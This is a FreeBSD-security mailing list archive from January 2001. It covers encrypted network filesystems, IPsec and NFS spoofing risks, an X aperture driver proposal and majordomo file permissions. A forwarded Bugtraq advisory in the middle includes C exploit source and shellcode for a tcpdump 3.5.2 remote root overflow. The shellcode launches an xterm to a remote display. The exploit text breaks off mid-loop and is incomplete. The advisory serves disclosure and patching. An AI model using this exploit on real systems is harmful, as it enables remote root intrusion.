(say, using stunnel). > > > > NFS cannot be tunneled even when run in TCP mode because > > of rpc stuff > > > > I also heard of and have read about AFS and CODA, but it seems > > like they do not support encryption, but maybe they could be tunneled. > > > > Samba CAN be tunnelled but, IMHO, Samba plain > > sux and we use it only for windows boxes which need to access unix > > files. > > > > So, is there a file system which support encryption and can AFS or CODA > > be tunneled? Can AFS and CODA even substitute NFS (in terms of > > functionality and convinices)? > > never tried tunnelling it, but CFS works quite nicely as a crypted > filesystem. > > cheers, > Adam > -- > Adam Laurie Tel: +44 (20) 8742 0755 > A.L. Digital Ltd. Fax: +44 (20) 8742 5995 > Voysey House http://www.thebunker.net > Barley Mow Passage http://www.aldigital.co.uk > London W4 4GB mailto:adam@algroup.co.uk > UNITED KINGDOM PGP key on keyservers > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -- work: dga@lcs.mit.edu me: dga@pobox.com MIT Laboratory for Computer Science http://www.angio.net/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 10:23:24 2001 Delivered-To: freebsd-security@freebsd.org Received: from jamus.xpert.com (jamus.xpert.com [199.203.132.17]) by hub.freebsd.org (Postfix) with ESMTP id 20BBF37B69E for ; Fri, 12 Jan 2001 10:23:06 -0800 (PST) Received: from roman (helo=localhost) by jamus.xpert.com with local-esmtp (Exim 3.12 #5) id 14H8qo-0006YL-00; Fri, 12 Jan 2001 20:22:58 +0200 Date: Fri, 12 Jan 2001 20:22:58 +0200 (IST) From: Roman Shterenzon To: Artem Koutchine Cc: Subject: Re: Encrypted networked filesystem needed In-Reply-To: <00aa01c07cbd$71209dc0$0c00a8c0@ipform.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 12 Jan 2001, Artem Koutchine wrote: > Hello! > > I need a networked filesystem which tranfers files from > host to host in encrypted manner or can be tunnelled > over SSL (say, using stunnel). > > NFS cannot be tunneled even when run in TCP mode because > of rpc stuff > > I also heard of and have read about AFS and CODA, but it seems > like they do not support encryption, but maybe they could be tunneled. > > Samba CAN be tunnelled but, IMHO, Samba plain > sux and we use it only for windows boxes which need to access unix > files. > > So, is there a file system which support encryption and can AFS or CODA > be tunneled? Can AFS and CODA even substitute NFS (in terms of > functionality and convinices)? If IPSec is supported on both sides, it is the best available solution. You'll get a completely transparent encryption and a powerful NFSv3 server/client. Did I mention that FreeBSD rocks? This way all network services will be secured and since the most of IPSec (AH/ESP) is done in the kernel mode, it'll be quite fast even on moderate hardware. --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 10:26: 7 2001 Delivered-To: freebsd-security@freebsd.org Received: from jamus.xpert.com (jamus.xpert.com [199.203.132.17]) by hub.freebsd.org (Postfix) with ESMTP id ED33937B402 for ; Fri, 12 Jan 2001 10:25:45 -0800 (PST) Received: from roman (helo=localhost) by jamus.xpert.com with local-esmtp (Exim 3.12 #5) id 14H8tY-0006YT-00; Fri, 12 Jan 2001 20:25:48 +0200 Date: Fri, 12 Jan 2001 20:25:48 +0200 (IST) From: Roman Shterenzon To: Dominik Breitenmoser Cc: Subject: Re: IPSEC: racoon pgpnet In-Reply-To: <200101121729.f0CHTtX72083@ddba027.netstream.ch> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 12 Jan 2001, Dominik Breitenmoser wrote: > Hi there > Has anyone tried to get racoon interoperate with pgpnet? > I've got some troubles with the vendor ID. The log always says > "2001-01-10 00:14:26: vendorid.c:97:check_vendorid(): Vendor ID > mismatch." > any hints? What else did you get? Vendor ID mismatch is probably not the cause of the failure, there must be something else, try running racoon with debug and see what it writes to the /var/log/racoon.log , for example, it may be that the parties cannot agree on encryption or hashing algorithm. --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 10:32:30 2001 Delivered-To: freebsd-security@freebsd.org Received: from faith.cs.utah.edu (faith.cs.utah.edu [155.99.198.108]) by hub.freebsd.org (Postfix) with ESMTP id 213D137B400 for ; Fri, 12 Jan 2001 10:32:11 -0800 (PST) Received: (from danderse@localhost) by faith.cs.utah.edu (8.9.3/8.9.3) id LAA14789; Fri, 12 Jan 2001 11:31:59 -0700 (MST) Message-Id: <200101121831.LAA14789@faith.cs.utah.edu> Subject: Re: Encrypted networked filesystem needed To: roman@xpert.com (Roman Shterenzon) Date: Fri, 12 Jan 2001 11:31:59 -0700 (MST) Cc: matrix@ipform.ru (Artem Koutchine), freebsd-security@FreeBSD.ORG In-Reply-To: from "Roman Shterenzon" at Jan 12, 2001 08:22:58 PM From: "David G. Andersen" X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Actually, let me be a bir more specific about my "You'll like SFS" comment. SFS provides an encrypted _and authenticated_ networked filesystem. With tunneled NFS, you're exporting a fair bit of trust to the remote host to which you're exporting a filesystem (unless you're incredibly agressive about mapping away bad UIDs). Furthermore, the systems must have the same UID:username mappings. With SFS, you get per-user cryptographic authentication remotely, and you can access the machine from any client machine, not just the other end of the encrypted tunnel. So depending on which model you want (NFS like, or more kerberos-like), either ipsec+nfs or SFS would be better. -Dave Lo and behold, Roman Shterenzon once said: > > On Fri, 12 Jan 2001, Artem Koutchine wrote: > > > Hello! > > > > I need a networked filesystem which tranfers files from > > host to host in encrypted manner or can be tunnelled > > over SSL (say, using stunnel). > > > > NFS cannot be tunneled even when run in TCP mode because > > of rpc stuff > > > > I also heard of and have read about AFS and CODA, but it seems > > like they do not support encryption, but maybe they could be tunneled. > > > > Samba CAN be tunnelled but, IMHO, Samba plain > > sux and we use it only for windows boxes which need to access unix > > files. > > > > So, is there a file system which support encryption and can AFS or CODA > > be tunneled? Can AFS and CODA even substitute NFS (in terms of > > functionality and convinices)? > > If IPSec is supported on both sides, it is the best available solution. > You'll get a completely transparent encryption and a powerful NFSv3 > server/client. Did I mention that FreeBSD rocks? > This way all network services will be secured and since the most of IPSec > (AH/ESP) is done in the kernel mode, it'll be quite fast even on > moderate hardware. > > --Roman Shterenzon, UNIX System Administrator and Consultant > [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -- work: dga@lcs.mit.edu me: dga@pobox.com MIT Laboratory for Computer Science http://www.angio.net/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 12:59:11 2001 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 8AC9037B400 for ; Fri, 12 Jan 2001 12:58:46 -0800 (PST) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id MAA19604 for ; Fri, 12 Jan 2001 12:58:44 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda19602; Fri Jan 12 12:58:36 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f0CKwVR35233 for ; Fri, 12 Jan 2001 12:58:31 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdd35231; Fri Jan 12 12:58:07 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.2/8.9.1) id f0CKw7I11863 for ; Fri, 12 Jan 2001 12:58:07 -0800 (PST) Message-Id: <200101122058.f0CKw7I11863@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdD11859; Fri Jan 12 12:57:58 2001 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 4.2-RELEASE X-Sender: cy To: freebsd-security@freebsd.org Subject: [!H] Tcpdump 3.5.2 remote root vulnerability (fwd) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 12 Jan 2001 12:57:57 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This affects our tcpdump. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC ------- Forwarded Message Return-Path: cschuber@osg.gov.bc.ca Delivery-Date: Fri Jan 12 10:49:05 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.2/8.9.1) id f0CIn4B11064 for ; Fri, 12 Jan 2001 10:49:04 -0800 (PST) Received: from passer9.cwsent.com(10.2.2.2), claiming to be "passer.osg.gov.bc.ca" via SMTP by cwsys9.cwsent.com, id smtpdO11060; Fri Jan 12 10:48:31 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f0CImU234456 for ; Fri, 12 Jan 2001 10:48:30 -0800 (PST) Resent-Message-Id: <200101121848.f0CImU234456@passer.osg.gov.bc.ca> Received: from localhost.osg.gov.bc.ca(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost.osg.gov.bc.ca, id smtpdx34448; Fri Jan 12 10:47:30 2001 Delivery-Date: Fri, 12 Jan 2001 10:47:29 -0800 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f0CIlTR34440 for ; Fri, 12 Jan 2001 10:47:29 -0800 (PST) Received: from point.osg.gov.bc.ca(142.32.102.44) via SMTP by passer.osg.gov.bc.ca, id smtpdb34428; Fri Jan 12 10:46:40 2001 Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id KAA19236 for ; Fri, 12 Jan 2001 10:46:40 -0800 Received: from lists.securityfocus.com(207.126.127.68) via SMTP by point.osg.gov.bc.ca, id smtpda19234; Fri Jan 12 10:46:39 2001 Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]) by lists.securityfocus.com (Postfix) with ESMTP id 0F19D24DE6E; Fri, 12 Jan 2001 09:15:32 -0800 (PST) Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 22555790 for BUGTRAQ@LISTS.SECURITYFOCUS.COM; Fri, 12 Jan 2001 09:13:21 -0800 Approved-By: beng@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Received: from securityfocus.com (mail.securityfocus.com [207.126.127.78]) by lists.securityfocus.com (Postfix) with SMTP id 953F524C417 for ; Thu, 11 Jan 2001 01:33:09 -0800 (PST) Received: (qmail 21309 invoked by alias); 11 Jan 2001 09:33:12 -0000 Delivered-To: bugtraq@securityfocus.com Received: (qmail 21266 invoked from network); 11 Jan 2001 09:33:08 -0000 Received: from unknown (HELO piscis.s21sec.com) (194.30.50.158) by mail.securityfocus.com with SMTP; 11 Jan 2001 09:33:08 -0000 Received: from localhost (unix [127.0.0.1]) by piscis.s21sec.com (8.9.3/8.9.3) with ESMTP id KAA01382 for ; Thu, 11 Jan 2001 10:36:06 +0100 X-Sender: zhodiac@piscis.s21sec.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: Date: Thu, 11 Jan 2001 10:36:06 +0100 Reply-To: Zhodiac Sender: Bugtraq List From: Zhodiac Subject: [!H] Tcpdump 3.5.2 remote root vulnerability To: BUGTRAQ@SECURITYFOCUS.COM Resent-To: cy@passer.osg.gov.bc.ca Resent-Date: Fri, 12 Jan 2001 10:47:30 -0800 Resent-From: Cy Schubert !Hispahack Research Team ------------------------ Program: Tcpdump 3.5 (3.4, 3.6.* and the CVS version are not vulnerable) Platform: *nix, Windoze Risk: Remote root access Author: Zhodiac Date: 4/1/2001 - Problem: ----------- Tcpdump is a network packet analizer, capabel to decode sucj protocols as X11, radius, smb,... When decoding one of this protocols AFS exists a buffer overflow. Xploiting this bug an attacker can obtain remote root access to the server. This buffer overflow only happens when decoding all the packet, and it decodes all the packet when the snaplen (option -s in command line) is bigger than 500. This bug exists on the stable version of tcpdump (3.5.2), exists a patch of kris@freebsd.org (27/Sep/2000) in the cvs, but never used with the stable version. Developers were contacted and they released 3.6.1 with this bug fixed. - Exploit: ---------- For proof of vulnerability we release the Linux x86 xploit. But be aware, no public xploit for your system does not mean you can't be hacked. Vulnerability exists, fix it! ------- tcpdump-xploit.c ---------- /* * Tcpdump remote root xploit (3.5.2) (with -s 500 or higher) * for Linux x86 * * By: Zhodiac * * !Hispahack Research Team * http://hispahack.ccc.de * * This xploit was coded only to prove it can be done :) * * As usual, this xploit is dedicated to [CrAsH]] * She is "the one" and "only one" :*************** * * #include * * Madrid 2/1/2001 * * Spain r0x * */ #include #include #include #include #include #include #define ADDR 0xbffff248 #define OFFSET 0 #define NUM_ADDR 10 #define NOP 0x90 #define NUM_NOP 100 #define RX_CLIENT_INITIATED 1 #define RX_PACKET_TYPE_DATA 1 #define FS_RX_DPORT 7000 #define FS_RX_SPORT 7001 #define AFS_CALL 134 struct rx_header { u_int32_t epoch; u_int32_t cid; u_int32_t callNumber; u_int32_t seq; u_int32_t serial; u_char type; u_char flags; u_char userStatus; u_char securityIndex; u_short spare; u_short serviceId; }; char shellcode[] = /* By Zhodiac */ "\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23" "\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08" "\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e" "\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0" "\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd" "\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB" "\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4" "\xff\xff\xff" "/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ"; long resolve(char *name) { struct hostent *hp; long ip; if ((ip=inet_addr(name))==-1) { if ((hp=gethostbyname(name))==NULL) { fprintf (stderr,"Can't resolve host name [%s].\n",name); exit(-1); } memcpy(&ip,(hp->h_addr),4); } return(ip); } int main (int argc, char *argv[]) { struct sockaddr_in addr,sin; int sock,aux, offset=OFFSET; char buffer[4048], *chptr; struct rx_header *rxh; long int *lptr, return_addr=ADDR; fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.d e)\n"); fprintf(stderr,"Tcpdump 3.5.2 xploit by Zhodiac \n\n"); if (argc<3) { printf("Usage: %s [offset]\n",argv[0]); exit(-1); } if (argc==4) offset=atoi(argv[3]); return_addr+=offset; fprintf(stderr,"Using return addr: %#x\n",return_addr); addr.sin_family=AF_INET; addr.sin_addr.s_addr=resolve(argv[1]); addr.sin_port=htons(FS_RX_DPORT); if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) { perror("socket()"); exit(-1); } sin.sin_family=AF_INET; sin.sin_addr.s_addr=INADDR_ANY; sin.sin_port=htons(FS_RX_SPORT); if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) { perror("bind()"); exit(-1); } memset(buffer,0,sizeof(buffer)); rxh=(struct rx_header *)buffer; rxh->type=RX_PACKET_TYPE_DATA; rxh->seq=htonl(1); rxh->flags=RX_CLIENT_INITIATED; lptr=(long int *)(buffer+sizeof(struct rx_header)); *(lptr++)=htonl(AFS_CALL); *(lptr++)=htonl(1); *(lptr++)=htonl(2); *(lptr++)=htonl(3); *(lptr++)=htonl(420); chptr=(char *)lptr; sprintf(chptr,"1 0\n"); chptr+=4; memset(chptr,'A',120); chptr+=120; lptr=(long int *)chptr; for (aux=0;aux if (sscanf((char *) s, "%127s %d\n%n", user, &acl, &n) !=2) 963c963 < if (sscanf((char *) s, "%s %d\n%n", user, &acl, &n) != 2) --- > if (sscanf((char *) s, "%127s %d\n%n", user, &acl, &n) != 2) ------ print-rx.patch --------- piscis:~# patch print-rx.c < print-rx.patch patching file `print-rx.c' piscis:~# Spain r0x Greets :) Zhodiac ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 16:14:10 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id AF42C37B404 for ; Fri, 12 Jan 2001 16:13:50 -0800 (PST) Received: (qmail 25090 invoked by uid 0); 13 Jan 2001 00:13:49 -0000 Received: from p3e9bc265.dip.t-dialin.net (HELO forge.local) (62.155.194.101) by mail.gmx.net (mail04) with SMTP; 13 Jan 2001 00:13:49 -0000 Received: from thomas by forge.local with local (Exim 3.16 #1 (Debian)) id 14HEqA-0000dt-00 for ; Sat, 13 Jan 2001 01:46:42 +0100 Date: Sat, 13 Jan 2001 01:46:42 +0100 From: Thomas Moestl To: freebsd-security@freebsd.org Subject: Re: Running X in securelevels > 0 ? Message-ID: <20010113014642.A2463@crow.dom2ip.de> Mail-Followup-To: Thomas Moestl , freebsd-security@freebsd.org References: <20010109094651.A24037@dogma.freebsd-uk.eu.org> <20010110012353.A2635@crow.dom2ip.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010110012353.A2635@crow.dom2ip.de>; from tmoestl@gmx.net on Wed, Jan 10, 2001 at 01:23:53AM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Jan 10, 2001 at 01:23:53AM +0100, Thomas Moestl wrote: > On Tue, Jan 09, 2001 at 08:57:15AM -0500, Robert Watson wrote: > > OpenBSD has an "apperture" driver that presumably works by making a > > specific subset of hardware controls available in higher securelevels, > > carefully selected so that the subset is sufficient for the purposes of > > graphics in X, but not sufficient to violate kernel protections. > > Unfortunately, I've not had the opportunity to look more closely than that > > at this point. I now have a working prototype. I keep a list with memory and io port ranges in the kernel that can be changed via syscontrols (at securelevels <= 0). The administrator can specify the ranges, or there could be a userland tool to walk the PCI device information, tries to find a graphics card and prints the mem and io ranges accordingly so that that info can be used. > > If you're interested in looking at porting it, I think > > there would be interest in integrating it into the base FreeBSD source > > tree: while the OpenBSD project uses it specifically to address concerns > > with securelevels, it would also be useful in other mandatory access > > control environmnents, or environments where the privilege model is not > > the root-trumps-all model. When porting it, it would be useful to do an > > analysis of how effective the driver is at providing only the necessary > > subset, and that it doesn't allow access to video subsystem functions that > > might be manipulable to gain privilege, or violate other system policies. > > Having X functionality without the ability to directly manipulate all > > hardware would be very desirable. I think the current model should be extensible in a reasonable way. However, there is one issue that I would like to hear comments on. X uses /dev/io to enable io access on FreeBSD, while it uses the i386_iopl call on OpenBSD. This has the drawback that it enables all io access at once. Basically, it would be best to change all applications out there to use the i386_set_ioperm calls (and I have intergrated the necessary aperture checks into these calls). However, changing only the X server seems to be very complex, one would probably have to wade through any driver and maintain a very large patch set. A klugy workaround would be to change /dev/io to use io permission bitmaps with the ranges specified before instead of the iopl bit. This would give us the the desired features, but the (grave, I think) drawback is that the unaware application has no way to know that it has exceeded it's privileges, it would just catch a signal and probably die a painful death. On the other hand, one could argument that aware applications use the i386_set_ioperm system call and are happy ;-) Comments please? - thomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 17:45:28 2001 Delivered-To: freebsd-security@freebsd.org Received: from citusc.usc.edu (citusc.usc.edu [128.125.38.123]) by hub.freebsd.org (Postfix) with ESMTP id 1FDDA37B400 for ; Fri, 12 Jan 2001 17:45:09 -0800 (PST) Received: (from kris@localhost) by citusc.usc.edu (8.9.3/8.9.3) id RAA24739; Fri, 12 Jan 2001 17:46:16 -0800 Date: Fri, 12 Jan 2001 17:46:16 -0800 From: Kris Kennaway To: Roman Shterenzon Cc: Artem Koutchine , freebsd-security@FreeBSD.ORG Subject: Re: Encrypted networked filesystem needed Message-ID: <20010112174616.D23818@citusc.usc.edu> References: <00aa01c07cbd$71209dc0$0c00a8c0@ipform.ru> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="EP0wieDxd4TSJjHq" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from roman@xpert.com on Fri, Jan 12, 2001 at 08:22:58PM +0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --EP0wieDxd4TSJjHq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, Jan 12, 2001 at 08:22:58PM +0200, Roman Shterenzon wrote: > If IPSec is supported on both sides, it is the best available solution. > You'll get a completely transparent encryption and a powerful NFSv3 > server/client. Did I mention that FreeBSD rocks? > This way all network services will be secured and since the most of IPSec > (AH/ESP) is done in the kernel mode, it'll be quite fast even on > moderate hardware. Unfortunately I think there are some layering bugs with NFS + IPSEC on FreeBSD - I have had lots of NFS filesystem wedges when testing this. Kris --EP0wieDxd4TSJjHq Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6X7NmWry0BWjoQKURAmLxAJoDXx0h9m/bg2utAqVREIpcbyza4ACfX+5E qJ9rpZ/UZsRSqlodcChm+fU= =mfmA -----END PGP SIGNATURE----- --EP0wieDxd4TSJjHq-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 18:20:11 2001 Delivered-To: freebsd-security@freebsd.org Received: from server5.safepages.com (server5.safepages.com [216.127.146.2]) by hub.freebsd.org (Postfix) with ESMTP id 98A1F37B401 for ; Fri, 12 Jan 2001 18:19:50 -0800 (PST) Received: from brandonlaptop (63-224-58-226.customers.uswest.net [63.224.58.226]) by server5.safepages.com (Postfix) with SMTP id 592ED70A5F for ; Sat, 13 Jan 2001 02:19:49 +0000 (GMT) Message-ID: <038201c07d06$a152ae40$0200000a@brandonlaptop> From: "Brandon - Sales/Support Spec." To: Subject: DES Date: Fri, 12 Jan 2001 18:14:58 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Perhaps someone can help. I went into the first directory below I am using FreeBSD 4.2 from source and trying to install DES. I installed the crypto source and they uninstalled into /var/src/4.0/crypto/ I could not find any reference to DES in /var/src/4.0/crypto/ but did find reference to it in the /var/src/4.2/secure/lib/libcrypto directory so I did the following: I did a make command and it created the libdescrypt files in. bash-2.04# pwd /var/src/4.2/secure/lib/libcrypt bash-2.04# ls Makefile crypt-md5.po libdescrypt.so.2 crypt-des.So crypt.3.gz libdescrypt_p.a crypt-des.c crypt.So md5c.o crypt-des.o crypt.o md5c.po crypt-des.po crypt.po misc.So crypt-md5.So libdescrypt.a misc.o crypt-md5.o libdescrypt.so misc.po However then I did a "make buildword" in the root directory of the source code /var/src/4.0 and in the object code directory it still does not link to libdescrypt? So it appears from the object code that DES is not installed. bash-2.04# pwd /var/src/obj/var/src/4.2/lib/libcrypt bash-2.04# ls .depend crypt.3.gz libscrypt.a md5c.o misc.po crypt-md5.So crypt.So libscrypt.so md5c.po crypt-md5.o crypt.o libscrypt.so.2 misc.So crypt-md5.po crypt.po libscrypt_p.a misc.o If you have any advice on getting "DES" installed please let me know. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 18:34:47 2001 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 5BC4B37B404 for ; Fri, 12 Jan 2001 18:34:30 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f0D2Y7714384; Fri, 12 Jan 2001 21:34:07 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Fri, 12 Jan 2001 21:34:07 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Roman Shterenzon Cc: Artem Koutchine , freebsd-security@freebsd.org Subject: Re: Encrypted networked filesystem needed In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It's important to note that even if you use IPsec, you still need to be careful with NFS, for a number of reasons. The easiest attack is a DNS spoofing attack: clients often use DNS to resolve the IP address of the server they connect to, and if they rely on unprotected DNS traffic, then they may be vulnerable to spoofing, causing them to access a different server than the one they intended to mount. And, needless to say, IPsec policy must be set appropriately for relevant IP addresses at both ends, which also need to be specified in a spoof-free manner. The best rule is to hard-code IP addresses wherever possible, or rely on /etc/hosts and appropriate resolution ordering, or to use DNSsec (if available). There are other attacks against NFS also. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 18:45:46 2001 Delivered-To: freebsd-security@freebsd.org Received: from citusc.usc.edu (citusc.usc.edu [128.125.38.123]) by hub.freebsd.org (Postfix) with ESMTP id 5187637B698 for ; Fri, 12 Jan 2001 18:45:22 -0800 (PST) Received: (from kris@localhost) by citusc.usc.edu (8.9.3/8.9.3) id SAA25205; Fri, 12 Jan 2001 18:45:29 -0800 Date: Fri, 12 Jan 2001 18:45:29 -0800 From: Kris Kennaway To: Cy Schubert - ITSD Open Systems Group Cc: freebsd-security@FreeBSD.ORG Subject: Re: [!H] Tcpdump 3.5.2 remote root vulnerability (fwd) Message-ID: <20010112184529.B25168@citusc.usc.edu> References: <200101122058.f0CKw7I11863@cwsys.cwsent.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="dc+cDN39EJAMEtIO" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200101122058.f0CKw7I11863@cwsys.cwsent.com>; from Cy.Schubert@uumail.gov.bc.ca on Fri, Jan 12, 2001 at 12:57:57PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --dc+cDN39EJAMEtIO Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, Jan 12, 2001 at 12:57:57PM -0800, Cy Schubert - ITSD Open Systems Group wrote: > This affects our tcpdump. Well..it affects old versions of tcpdump before we patched the vulnerability (which I discovered and which we initially publicized, BTW), and released the advisory describing it. All this post is is a canned exploit for the known, long fixed problem..nothing to worry about unless you don't act on the security advisories which are released. Kris --dc+cDN39EJAMEtIO Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6X8FJWry0BWjoQKURAnfTAKCZFNZsp+g4id/ruNL4iG0+/WJEswCbBgPe nSOV1oAcvGM1RTaCuhOWWbM= =c3Qx -----END PGP SIGNATURE----- --dc+cDN39EJAMEtIO-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 12 22: 5:37 2001 Delivered-To: freebsd-security@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 3BC5137B401 for ; Fri, 12 Jan 2001 22:05:20 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id AAA68358 for ; Sat, 13 Jan 2001 00:05:10 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sat, 13 Jan 2001 00:05:10 -0600 (CST) From: Ryan Thompson To: freebsd-security@freebsd.org Subject: Majordomo lists security Message-ID: Organization: SaskNow Technologies [www.sasknow.com] MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hmm... Maybe this has been answered before. Is there a GOOD reason that, by default, /usr/local/majordomo/lists is world readable? Does not just the "majordom" user/group ever read the files contained therein? Until now, I've never really had cause to play with majordomo, but I was notably concerned when I saw the administrative password for each list stored clear text in a predictable world readable file/directory. :-) - Ryan -- Ryan Thompson Network 